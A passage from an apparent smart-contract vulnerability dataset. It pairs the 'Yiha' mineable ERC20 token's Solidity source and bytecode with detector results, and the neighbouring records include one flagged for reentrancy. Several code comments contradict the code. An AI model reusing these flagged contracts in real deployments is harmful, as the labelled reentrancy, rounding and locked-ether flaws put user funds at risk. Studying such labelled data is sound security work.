9a509598509396509194505050505091939550919395565b600061107383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f82565b60006114d161125e565b905060006114df83836115da565b306000908152600260205260409020549091506114fc90826111f4565b30600090815260026020526040902055505050565b60075461151e9083611485565b60075560085461152e90826111f4565b6008555050565b600080808061154f606461154989896115da565b90611281565b9050600061156260646115498a896115da565b9050600061157a826115748b86611485565b90611485565b9992985090965090945050505050565b600080808061159988866115da565b905060006115a788876115da565b905060006115b588886115da565b905060006115c7826115748686611485565b939b939a50919850919650505050505050565b6000826115e95750600061047b565b60006115f58385611a5b565b9050826116028583611a39565b146110735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610443565b80151581146104c057600080fd5b60006020828403121561167957600080fd5b813561107381611659565b600060208083528351808285015260005b818110156116b157858101830151858201604001528201611695565b818111156116c3576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104c057600080fd5b80356116f9816116d9565b919050565b6000806040838503121561171157600080fd5b823561171c816116d9565b946020939093013593505050565b60006020828403121561173c57600080fd5b5035919050565b60008060006060848603121561175857600080fd5b8335611763816116d9565b92506020840135611773816116d9565b929592945050506040919091013590565b60006020828403121561179657600080fd5b8135611073816116d9565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117ca57600080fd5b823567ffffffffffffffff808211156117e257600080fd5b818501915085601f8301126117f657600080fd5b813581811115611808576118086117a1565b8060051b604051601f19603f8301168101818110858211171561182d5761182d6117a1565b60405291825284820192508381018501918883111561184b57600080fd5b938501935b8285101561187057611861856116ee565b84529385019392850192611850565b98975050505050505050565b6000806040838503121561188f57600080fd5b823561189a816116d9565b915060208301356118aa816116d9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118fc57600080fd5b8151611073816116d9565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119475761194761191d565b5060010190565b60008060006060848603121561196357600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561198e57600080fd5b815161107381611659565b6000828210156119ab576119ab61191d565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a005784516001600160a01b0316835293830193918301916001016119db565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a3457611a3461191d565b500190565b600082611a5657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a7557611a7561191d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122013968d503aa615b5b287395a5f20c2af0c3ac8ac2867bd4681d8fae57e3f03c164736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,985 |
0xeca2967b2a2cc584495b2226372bc0dde481f857
|
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Yiha' contract
// Mineable ERC20 Token using Proof Of Work
//
// Symbol : YIHA
// Name : Yiha
// Total supply: 250,000,000.00
// Decimals : 8
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
library ExtendedMath {
//return the smaller of the two inputs (a or b)
function limitLessThan(uint a, uint b) internal pure returns (uint c) {
if(a > b) return b;
return a;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract Yiha is ERC20Interface, Owned {
using SafeMath for uint;
using ExtendedMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public latestDifficultyPeriodStarted;
uint public epochCount;//number of 'blocks' mined
uint public _BLOCKS_PER_READJUSTMENT = 1024;
//a little number
uint public _MINIMUM_TARGET = 2**16;
//a big number is easier ; just find a solution that is smaller
//uint public _MAXIMUM_TARGET = 2**224; bitcoin uses 224
uint public _MAXIMUM_TARGET = 2**234;
uint public miningTarget;
bytes32 public challengeNumber; //generate a new one when a new reward is minted
uint public rewardEra;
uint public maxSupplyForEra;
address public lastRewardTo;
uint public lastRewardAmount;
uint public lastRewardEthBlockNumber;
bool locked = false;
mapping(bytes32 => bytes32) solutionForChallenge;
uint public tokensMinted;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Yiha() public onlyOwner{
symbol = "YIHA";
name = "Yiha";
decimals = 8;
_totalSupply = 250000000 * 10**uint(decimals);
if(locked) revert();
locked = true;
tokensMinted = 0;
rewardEra = 0;
maxSupplyForEra = _totalSupply.div(2);
miningTarget = _MAXIMUM_TARGET;
latestDifficultyPeriodStarted = block.number;
_startNewMiningEpoch();
//The owner gets nothing! You must mine this ERC20 token
//balances[owner] = _totalSupply;
//Transfer(address(0), owner, _totalSupply);
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) {
//the PoW must contain work that includes a recent ethereum block hash (challenge number) and the msg.sender's address to prevent MITM attacks
bytes32 digest = keccak256(challengeNumber, msg.sender, nonce );
//the challenge digest must match the expected
if (digest != challenge_digest) revert();
//the digest must be smaller than the target
if(uint256(digest) > miningTarget) revert();
//only allow one reward for each challenge
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if(solution != 0x0) revert(); //prevent the same answer from awarding twice
uint reward_amount = getMiningReward();
balances[msg.sender] = balances[msg.sender].add(reward_amount);
tokensMinted = tokensMinted.add(reward_amount);
//Cannot mint more tokens than there are
assert(tokensMinted <= maxSupplyForEra);
//set readonly diagnostics data
lastRewardTo = msg.sender;
lastRewardAmount = reward_amount;
lastRewardEthBlockNumber = block.number;
_startNewMiningEpoch();
Mint(msg.sender, reward_amount, epochCount, challengeNumber );
return true;
}
//a new 'block' to be mined
function _startNewMiningEpoch() internal {
//if max supply for the era will be exceeded next reward round then enter the new era before that happens
//40 is the final reward era, almost all tokens minted
//once the final era is reached, more tokens will not be given out because the assert function
if( tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < 39)
{
rewardEra = rewardEra + 1;
}
//set the next minted supply at which the era will change
// total supply is 25000000000000000 because of 8 decimal places
maxSupplyForEra = _totalSupply - _totalSupply.div( 2**(rewardEra + 1));
epochCount = epochCount.add(1);
//every so often, readjust difficulty. Dont readjust when deploying
if(epochCount % _BLOCKS_PER_READJUSTMENT == 0)
{
_reAdjustDifficulty();
}
//make the latest ethereum block hash a part of the next challenge for PoW to prevent pre-mining future blocks
//do this last since this is a protection mechanism in the mint() function
challengeNumber = block.blockhash(block.number - 1);
}
//https://en.bitcoin.it/wiki/Difficulty#What_is_the_formula_for_difficulty.3F
//as of 2017 the bitcoin difficulty was up to 17 zeroes, it was only 8 in the early days
//readjust the target by 5 percent
function _reAdjustDifficulty() internal {
uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted;
//assume 360 ethereum blocks per hour
//we want miners to spend 10 minutes to mine each 'block', about 60 ethereum blocks = one yiha epoch
uint epochsMined = _BLOCKS_PER_READJUSTMENT; //256
uint targetEthBlocksPerDiffPeriod = epochsMined * 60; //should be 60 times slower than ethereum
//if there were less eth blocks passed in time than expected
if( ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod )
{
uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(100)).div( ethBlocksSinceLastDifficultyPeriod );
uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(1000);
// If there were 5% more blocks mined than expected then this is 5. If there were 100% more blocks mined than expected then this is 100.
//make it harder
miningTarget = miningTarget.sub(miningTarget.div(2000).mul(excess_block_pct_extra)); //by up to 50 %
}else{
uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(100)).div( targetEthBlocksPerDiffPeriod );
uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000); //always between 0 and 1000
//make it easier
miningTarget = miningTarget.add(miningTarget.div(2000).mul(shortage_block_pct_extra)); //by up to 50 %
}
latestDifficultyPeriodStarted = block.number;
if(miningTarget < _MINIMUM_TARGET) //very difficult
{
miningTarget = _MINIMUM_TARGET;
}
if(miningTarget > _MAXIMUM_TARGET) //very easy
{
miningTarget = _MAXIMUM_TARGET;
}
}
//this is a recent ethereum block hash, used to prevent pre-mining future blocks
function getChallengeNumber() public constant returns (bytes32) {
return challengeNumber;
}
//the number of zeroes the digest of the PoW solution requires. Auto adjusts
function getMiningDifficulty() public constant returns (uint) {
return _MAXIMUM_TARGET.div(miningTarget);
}
function getMiningTarget() public constant returns (uint) {
return miningTarget;
}
//21m coins total
//reward begins at 50 and is cut in half every reward era (as tokens are mined)
function getMiningReward() public constant returns (uint) {
//once we get half way thru the coins, only get 25 per block
//every reward era, the reward amount halves.
return (50 * 10**uint(decimals) ).div( 2**rewardEra ) ;
}
//help debug mining software
function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns (bytes32 digesttest) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
return digest;
}
//help debug mining software
function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
if(uint256(digest) > testTarget) revert();
return (digest == challenge_digest);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
0x6080604052600436106101c2576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101c7578063095ea7b314610257578063163aa00d146102bc57806317da485f146102e75780631801fbe51461031257806318160ddd1461036557806323b872dd146103905780632d38bf7a14610415578063313ce5671461044057806332e99708146104715780633eaaf86b1461049c578063490203a7146104c75780634ef37628146104f25780634fa972e1146105255780636de9f32b146105505780636fd396d61461057b57806370a08231146105d257806379ba50971461062957806381269a5614610640578063829965cc146106ab57806387a2a9d6146106d65780638a769d35146107015780638ae0368b1461072c5780638da5cb5b1461075f57806395d89b41146107b657806397566aa014610846578063a9059cbb146108ab578063b5ade81b14610910578063bafedcaa1461093b578063cae9ca5114610966578063cb9ae70714610a11578063d4ee1d9014610a3c578063dc39d06d14610a93578063dc6e9cf914610af8578063dd62ed3e14610b23578063f2fde38b14610b9a575b600080fd5b3480156101d357600080fd5b506101dc610bdd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561021c578082015181840152602081019050610201565b50505050905090810190601f1680156102495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c7b565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610d6d565b6040518082815260200191505060405180910390f35b3480156102f357600080fd5b506102fc610d73565b6040518082815260200191505060405180910390f35b34801561031e57600080fd5b5061034b600480360381019080803590602001909291908035600019169060200190929190505050610d91565b604051808215151515815260200191505060405180910390f35b34801561037157600080fd5b5061037a611021565b6040518082815260200191505060405180910390f35b34801561039c57600080fd5b506103fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061106c565b604051808215151515815260200191505060405180910390f35b34801561042157600080fd5b5061042a611317565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b5061045561131d565b604051808260ff1660ff16815260200191505060405180910390f35b34801561047d57600080fd5b50610486611330565b6040518082815260200191505060405180910390f35b3480156104a857600080fd5b506104b161133a565b6040518082815260200191505060405180910390f35b3480156104d357600080fd5b506104dc611340565b6040518082815260200191505060405180910390f35b3480156104fe57600080fd5b50610507611377565b60405180826000191660001916815260200191505060405180910390f35b34801561053157600080fd5b5061053a611381565b6040518082815260200191505060405180910390f35b34801561055c57600080fd5b50610565611387565b6040518082815260200191505060405180910390f35b34801561058757600080fd5b5061059061138d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105de57600080fd5b50610613600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113b3565b6040518082815260200191505060405180910390f35b34801561063557600080fd5b5061063e6113fc565b005b34801561064c57600080fd5b5061069160048036038101908080359060200190929190803560001916906020019092919080356000191690602001909291908035906020019092919050505061159b565b604051808215151515815260200191505060405180910390f35b3480156106b757600080fd5b506106c0611630565b6040518082815260200191505060405180910390f35b3480156106e257600080fd5b506106eb611636565b6040518082815260200191505060405180910390f35b34801561070d57600080fd5b5061071661163c565b6040518082815260200191505060405180910390f35b34801561073857600080fd5b50610741611642565b60405180826000191660001916815260200191505060405180910390f35b34801561076b57600080fd5b50610774611648565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107c257600080fd5b506107cb61166d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561080b5780820151818401526020810190506107f0565b50505050905090810190601f1680156108385780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561085257600080fd5b5061088d600480360381019080803590602001909291908035600019169060200190929190803560001916906020019092919050505061170b565b60405180826000191660001916815260200191505060405180910390f35b3480156108b757600080fd5b506108f6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611784565b604051808215151515815260200191505060405180910390f35b34801561091c57600080fd5b5061092561191f565b6040518082815260200191505060405180910390f35b34801561094757600080fd5b50610950611925565b6040518082815260200191505060405180910390f35b34801561097257600080fd5b506109f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061192b565b604051808215151515815260200191505060405180910390f35b348015610a1d57600080fd5b50610a26611b7a565b6040518082815260200191505060405180910390f35b348015610a4857600080fd5b50610a51611b80565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a9f57600080fd5b50610ade600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ba6565b604051808215151515815260200191505060405180910390f35b348015610b0457600080fd5b50610b0d611d0a565b6040518082815260200191505060405180910390f35b348015610b2f57600080fd5b50610b84600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d10565b6040518082815260200191505060405180910390f35b348015610ba657600080fd5b50610bdb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d97565b005b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c735780601f10610c4857610100808354040283529160200191610c73565b820191906000526020600020905b815481529060010190602001808311610c5657829003601f168201915b505050505081565b600081601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60115481565b6000610d8c600b54600a54611e3690919063ffffffff16565b905090565b600080600080600c5433876040518084600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140182815260200193505050506040518091039020925084600019168360001916141515610e1a57600080fd5b600b5483600190041115610e2d57600080fd5b60136000600c54600019166000191681526020019081526020016000205491508260136000600c5460001916600019168152602001908152602001600020816000191690555060006001028260001916141515610e8957600080fd5b610e91611340565b9050610ee581601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5a90919063ffffffff16565b601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f3d81601454611e5a90919063ffffffff16565b601481905550600e5460145411151515610f5357fe5b33600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060108190555043601181905550610faa611e76565b3373ffffffffffffffffffffffffffffffffffffffff167fcf6fbb9dcea7d07263ab4f5c3a92f53af33dffc421d9d121e1c74b307e68189d82600754600c54604051808481526020018381526020018260001916600019168152602001935050505060405180910390a26001935050505092915050565b6000601560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b60006110c082601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2b90919063ffffffff16565b601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061119282601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2b90919063ffffffff16565b601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061126482601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5a90919063ffffffff16565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600d5481565b600460009054906101000a900460ff1681565b6000600b54905090565b60055481565b6000611372600d5460020a600460009054906101000a900460ff1660ff16600a0a603202611e3690919063ffffffff16565b905090565b6000600c54905090565b600e5481565b60145481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561145857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000808333876040518084600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401828152602001935050505060405180910390209050828160019004111561161a57600080fd5b8460001916816000191614915050949350505050565b60075481565b600a5481565b600b5481565b600c5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117035780601f106116d857610100808354040283529160200191611703565b820191906000526020600020905b8154815290600101906020018083116116e657829003601f168201915b505050505081565b6000808233866040518084600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401828152602001935050505060405180910390209050809150509392505050565b60006117d882601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2b90919063ffffffff16565b601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061186d82601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5a90919063ffffffff16565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60085481565b60105481565b600082601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611b08578082015181840152602081019050611aed565b50505050905090810190601f168015611b355780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611b5757600080fd5b505af1158015611b6b573d6000803e3d6000fd5b50505050600190509392505050565b60065481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c0357600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611cc757600080fd5b505af1158015611cdb573d6000803e3d6000fd5b505050506040513d6020811015611cf157600080fd5b8101908080519060200190929190505050905092915050565b60095481565b6000601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611df257600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082111515611e4657600080fd5b8183811515611e5157fe5b04905092915050565b60008183019050828110151515611e7057600080fd5b92915050565b600e54611e95611e84611340565b601454611e5a90919063ffffffff16565b118015611ea457506027600d54105b15611eb6576001600d5401600d819055505b611ed36001600d540160020a600554611e3690919063ffffffff16565b60055403600e81905550611ef36001600754611e5a90919063ffffffff16565b6007819055506000600854600754811515611f0a57fe5b061415611f1a57611f19611f47565b5b6001430340600c8160001916905550565b6000828211151515611f3c57600080fd5b818303905092915050565b6000806000806000806000600654430396506008549550603c860294508487101561200657611f9287611f846064886120d890919063ffffffff16565b611e3690919063ffffffff16565b9350611fbc6103e8611fae606487611f2b90919063ffffffff16565b61210990919063ffffffff16565b9250611ffb611fea84611fdc6107d0600b54611e3690919063ffffffff16565b6120d890919063ffffffff16565b600b54611f2b90919063ffffffff16565b600b8190555061209c565b61202c8561201e60648a6120d890919063ffffffff16565b611e3690919063ffffffff16565b91506120566103e8612048606485611f2b90919063ffffffff16565b61210990919063ffffffff16565b9050612095612084826120766107d0600b54611e3690919063ffffffff16565b6120d890919063ffffffff16565b600b54611e5a90919063ffffffff16565b600b819055505b43600681905550600954600b5410156120b957600954600b819055505b600a54600b5411156120cf57600a54600b819055505b50505050505050565b6000818302905060008314806120f857508183828115156120f557fe5b04145b151561210357600080fd5b92915050565b60008183111561211b5781905061211f565b8290505b929150505600a165627a7a7230582017ca9897a3ba4065efa37551a8d47be75aba92b5c43dff2c5903e1deffb13bd80029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,986 |
0x13404d58f16e3e54b80f9e142607007e1fbdf23a
|
/**
*Submitted for verification at Etherscan.io on 2022-04-07
*/
/*
_ __,----'~~~~~~~~~`-----.__
. . `//====- ____,-'~`
-. \_|// . /||\\ `~~~~`---.___./
______-==. _-~o `\/ ||| \\ _,'`
__,--' ,=='||\=_ ;_,_,/ _-'|- |`\ \\ ,'
_-' ,=' | \\`. '',/~7 /- / || `\. /
.' ,' | \\ \_ " / /- / || \ /
/ _____ / | \\.`-_/ /|- _/ ,|| \ /
